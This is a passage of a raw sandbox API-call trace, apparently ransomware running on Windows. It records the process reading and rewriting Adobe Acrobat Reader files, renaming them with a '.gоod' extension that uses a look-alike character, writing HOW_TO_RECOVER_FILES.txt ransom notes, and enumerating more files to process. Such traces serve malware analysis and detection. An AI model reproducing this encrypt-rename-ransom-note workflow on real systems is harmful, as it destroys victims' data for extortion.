(x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", lpFilePart=0x0) returned 0x6a [0087.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0087.711] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\wcchromenativemessaginghost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.711] GetFileType (hFile=0x778) returned 0x1 [0087.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0087.711] GetFileType (hFile=0x778) returned 0x1 [0087.711] SetFilePointer (in: hFile=0x778, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x1000 [0087.711] ReadFile (in: hFile=0x778, lpBuffer=0x32604c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b5b8, lpOverlapped=0x0 | out: lpBuffer=0x32604c0*, lpNumberOfBytesRead=0x1f35b5b8*=0x1000, lpOverlapped=0x0) returned 1 [0087.713] CloseHandle (hObject=0x778) returned 1 [0087.713] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", lpFilePart=0x0) returned 0x6a [0087.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0087.713] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\wcchromenativemessaginghost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.713] GetFileType (hFile=0x778) returned 0x1 [0087.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0087.713] GetFileType (hFile=0x778) returned 0x1 [0087.713] SetFilePointer (in: hFile=0x778, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x235f0 [0087.713] WriteFile (in: hFile=0x778, lpBuffer=0x3261810*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35b4d8, lpOverlapped=0x0 | out: lpBuffer=0x3261810*, lpNumberOfBytesWritten=0x1f35b4d8*=0x10, lpOverlapped=0x0) returned 1 [0087.714] CloseHandle (hObject=0x778) returned 1 [0087.714] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", lpFilePart=0x0) returned 0x6a [0087.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0087.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\wcchromenativemessaginghost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.714] GetFileType (hFile=0x778) returned 0x1 [0087.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0087.714] GetFileType (hFile=0x778) returned 0x1 [0087.715] ReadFile (in: hFile=0x778, lpBuffer=0x3263b68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35b568, lpOverlapped=0x0 | out: lpBuffer=0x3263b68*, lpNumberOfBytesRead=0x1f35b568*=0x1000, lpOverlapped=0x0) returned 1 [0087.743] CloseHandle (hObject=0x778) returned 1 [0087.743] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", lpFilePart=0x0) returned 0x6a [0087.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0087.743] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\wcchromenativemessaginghost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0087.744] GetFileType (hFile=0x778) returned 0x1 [0087.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0087.744] GetFileType (hFile=0x778) returned 0x1 [0087.744] WriteFile (in: hFile=0x778, lpBuffer=0x3262858*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35b618, lpOverlapped=0x0 | out: lpBuffer=0x3262858*, lpNumberOfBytesWritten=0x1f35b618*=0x1010, lpOverlapped=0x0) returned 1 [0087.744] CloseHandle (hObject=0x778) returned 1 [0087.744] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe", lpFilePart=0x0) returned 0x6a [0087.744] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe.gоod", lpFilePart=0x0) returned 0x6f [0087.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b550) returned 1 [0087.744] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\wcchromenativemessaginghost.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35b630 | out: lpFileInformation=0x1f35b630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaa879d8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3083b9a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23600)) returned 1 [0087.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b510) returned 1 [0087.744] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\wcchromenativemessaginghost.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\WCChromeNativeMessagingHost.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\wcchromenativemessaginghost.exe.gоod")) returned 1 [0087.745] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35b230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x63 [0087.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b750) returned 1 [0087.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\wcchromeextn\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0087.875] GetFileType (hFile=0x7b0) returned 0x1 [0087.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6c0) returned 1 [0087.875] GetFileType (hFile=0x7b0) returned 0x1 [0087.876] WriteFile (in: hFile=0x7b0, lpBuffer=0x3203bc0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35b818, lpOverlapped=0x0 | out: lpBuffer=0x3203bc0*, lpNumberOfBytesWritten=0x1f35b818*=0x5d0, lpOverlapped=0x0) returned 1 [0087.877] CloseHandle (hObject=0x7b0) returned 1 [0087.877] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35bc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x56 [0087.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c180) returned 1 [0087.877] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\browser\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0087.877] GetFileType (hFile=0x7b0) returned 0x1 [0087.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c0f0) returned 1 [0087.877] GetFileType (hFile=0x7b0) returned 0x1 [0087.878] WriteFile (in: hFile=0x7b0, lpBuffer=0x3207468*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35c248, lpOverlapped=0x0 | out: lpBuffer=0x3207468*, lpNumberOfBytesWritten=0x1f35c248*=0x5d0, lpOverlapped=0x0) returned 1 [0087.879] CloseHandle (hObject=0x7b0) returned 1 [0087.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0087.879] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates", lpFilePart=0x0) returned 0x41 [0087.879] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec9b6c0 [0087.879] FindNextFileW (in: hFindFile=0x1ec9b6c0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.880] FindNextFileW (in: hFindFile=0x1ec9b6c0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0087.880] FindNextFileW (in: hFindFile=0x1ec9b6c0, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 0 [0087.880] FindClose (in: hFindFile=0x1ec9b6c0 | out: hFindFile=0x1ec9b6c0) returned 1 [0087.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0087.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0087.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c210) returned 1 [0087.880] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates", nBufferLength=0x105, lpBuffer=0x1f35bcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates", lpFilePart=0x0) returned 0x41 [0087.880] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\*", lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec9bd80 [0087.880] FindNextFileW (in: hFindFile=0x1ec9bd80, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3626e649, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.881] FindNextFileW (in: hFindFile=0x1ec9bd80, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0087.881] FindNextFileW (in: hFindFile=0x1ec9bd80, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.881] FindClose (in: hFindFile=0x1ec9bd80 | out: hFindFile=0x1ec9bd80) returned 1 [0087.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0087.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0087.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0087.881] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU", lpFilePart=0x0) returned 0x45 [0087.881] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec9c440 [0087.884] FindNextFileW (in: hFindFile=0x1ec9c440, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.885] FindNextFileW (in: hFindFile=0x1ec9c440, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362948a6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0087.885] FindNextFileW (in: hFindFile=0x1ec9c440, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0087.885] FindNextFileW (in: hFindFile=0x1ec9c440, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.885] FindClose (in: hFindFile=0x1ec9c440 | out: hFindFile=0x1ec9c440) returned 1 [0087.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0087.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0087.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0087.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU", lpFilePart=0x0) returned 0x45 [0087.885] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec9c200 [0087.885] FindNextFileW (in: hFindFile=0x1ec9c200, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3626e649, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362948a6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.886] FindNextFileW (in: hFindFile=0x1ec9c200, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362948a6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0087.886] FindNextFileW (in: hFindFile=0x1ec9c200, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0087.886] FindNextFileW (in: hFindFile=0x1ec9c200, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3626e649, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0087.886] FindClose (in: hFindFile=0x1ec9c200 | out: hFindFile=0x1ec9c200) returned 1 [0087.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0087.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0087.886] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", nBufferLength=0x105, lpBuffer=0x1f35b0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", lpFilePart=0x0) returned 0x51 [0087.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b590) returned 1 [0087.886] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\adobeid.pdf"), fInfoLevelId=0x0, lpFileInformation=0x3224d78 | out: lpFileInformation=0x3224d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362948a6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x14096)) returned 1 [0087.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b550) returned 1 [0087.887] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", nBufferLength=0x105, lpBuffer=0x1f35af70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf", lpFilePart=0x0) returned 0x51 [0087.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b490) returned 1 [0087.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0087.887] GetFileType (hFile=0x7b0) returned 0x1 [0087.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b400) returned 1 [0087.887] GetFileType (hFile=0x7b0) returned 0x1 [0087.887] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35b5e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35b5e8*=0) returned 0x1000 [0087.887] ReadFile (in: 